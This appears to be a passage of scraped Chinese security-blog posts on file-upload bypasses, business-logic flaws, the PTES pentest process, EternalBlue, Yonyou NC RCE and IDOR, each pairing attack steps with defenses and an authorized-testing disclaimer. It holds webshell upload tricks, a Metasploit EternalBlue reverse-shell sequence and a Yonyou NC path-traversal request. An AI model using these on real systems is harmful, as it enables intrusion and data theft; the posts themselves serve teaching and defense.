空格绕过：shell.php. → 服务器去除空格
NTFS 流：shell.php::$DATA
图片马：GIF89a + PHP 代码

三、防御加固

1
2
3


白名单上传 · 重命名文件 · 随机文件名
上传目录禁止执行 · 使用 CDN 存储
WAF 规则检测 · 文件类型深度检测

四、小结

文件上传的核心是绕过校验 + 得到可执行 WebShell。防御核心是白名单 + 重命名 + 目录禁执行。

业务逻辑漏洞实战

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

业务逻辑漏洞利用只在授权测试环境进行。

一、业务逻辑漏洞分类

1

越权访问（IDOR/BOLA）· 水平越权 · 垂直越权 · 价格篡改 · 绕过类

二、利用方法

1
2
3


越权：改 ID 参数 GET /user/1 → /user/2
篡改：改价格 price=1 → price=0.01
绕过：验证码绕过 · 支付绕过 · 多步操作跳过

三、防御方法

1
2
3
4


服务端验证：所有业务逻辑在服务端校验
权限检查：每次请求检查用户是否有权操作
输入校验：价格/数量使用服务端固定值
操作审计：敏感操作记录日志 · 异常操作实时告警

四、小结

业务逻辑漏洞无法用 WAF 完全防护，必须在业务代码层面实现权限校验和参数验证。

一次完整授权渗透测试流程

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

渗透测试只在授权测试环境进行。对非授权系统进行渗透测试可能触犯法律。

一、PTES 六阶段

1

① 前期交互 → ② 信息收集 → ③ 威胁建模 → ④ 漏洞分析 → ⑤ 渗透攻击 → ⑥ 报告

二、测试方法

1
2
3


黑盒测试：无源码/无架构信息，模拟真实攻击者
灰盒测试：有部分信息（架构图/测试账号），效率高
白盒测试：有源码+架构+配置，代码审计为主

三、报告要素

1
2


漏洞名称 · 位置 · 等级 · 利用方法 · 修复建议
执行摘要 + 技术详情 + 附录

四、小结

渗透测试标准化流程确保覆盖全面。PTES 六阶段 + 合适测试方法 + 结构化报告，是专业渗透测试的核心要素。

永恒之蓝漏洞复现

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

永恒之蓝攻击只在授权测试环境进行。对非授权目标利用 MS17-010 可能触犯法律。

一、永恒之蓝攻击链

1

① 扫描 SMB 端口 → ② 发送恶意 SMB 包 → ③ 内存破坏 → ④ 执行 Shellcode → ⑤ 横向传播

二、利用步骤

1
2
3
4
5
6
7
8


# nmap 扫描
nmap -p445 --script=smb-vuln-ms17-010 target

# metasploit 利用
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS target
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit

三、传播机制

1
2


WannaCry 勒索病毒利用永恒之蓝传播
自动扫描内网 SMB 端口 → 自动利用 → 自动加密文件 → 索要比特币

四、防御加固

1
2
3


关闭 SMBv1 · 打 MS17-010 补丁
防火墙关闭 445 端口
监控异常 SMB 连接

五、小结

永恒之蓝是 SMBv1 的远程代码执行漏洞，可导致整个内网沦陷。防御核心是关闭 SMBv1 + 打补丁。

用友NC反序列化与接口RCE利用

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

用友 NC 攻击只在授权测试环境进行。

一、用友 NC RCE 利用链

1

① 发现 NC → ② UAPortal 反序列化 → ③ NCFind 路径穿越 → ④ RCE

二、利用步骤

1
2
3
4
5
6
7


UAPortal 反序列化：
 POST /uaportal/dispatcher
 Content-Type: application/x-www-form-urlencoded
 → ysoserial payload → RCE

NCFind 路径穿越：
 GET /NCFindWay?unitid=..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini

三、防御加固

1
2
3


升级到官方安全版本
WAF 拦截反序列化 payload
关闭不必要端口（8080/8090/8181）

四、小结

用友 NC 是国产 ERP 漏洞最多的系统之一。防御核心是升级版本 + WAF 防护。

越权访问与IDOR入门

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

越权访问测试只在授权测试环境进行。

一、越权访问分类

1
2
3
4


水平越权（BOLA）：同级别用户之间
垂直越权（BFLA）：低权限 → 高权限
IDOR：直接对象引用（改 ID 参数）
状态越权：跳过状态机步骤

二、攻击示例

1
2
3
4


水平越权：GET /api/orders?id=123 → 改 id=124
垂直越权：普通用户访问 /admin 或改 role=admin
IDOR：GET /account?id=1 → id=2
状态越权：跳过审批步骤直接完成操作

三、防御方法

1
2
3
4


服务端权限校验：每次请求验证用户是否有权操作
不可预测 ID：使用 UUID 替代自增 ID
统一鉴权中间件：RBAC 基于角色的访问控制
日志审计：记录敏感操作 · 异常告警

四、小结

越权是 Web 应用最常见的漏洞类型。核心防御是在服务端做权限校验，不要信任前端传来的 user_id。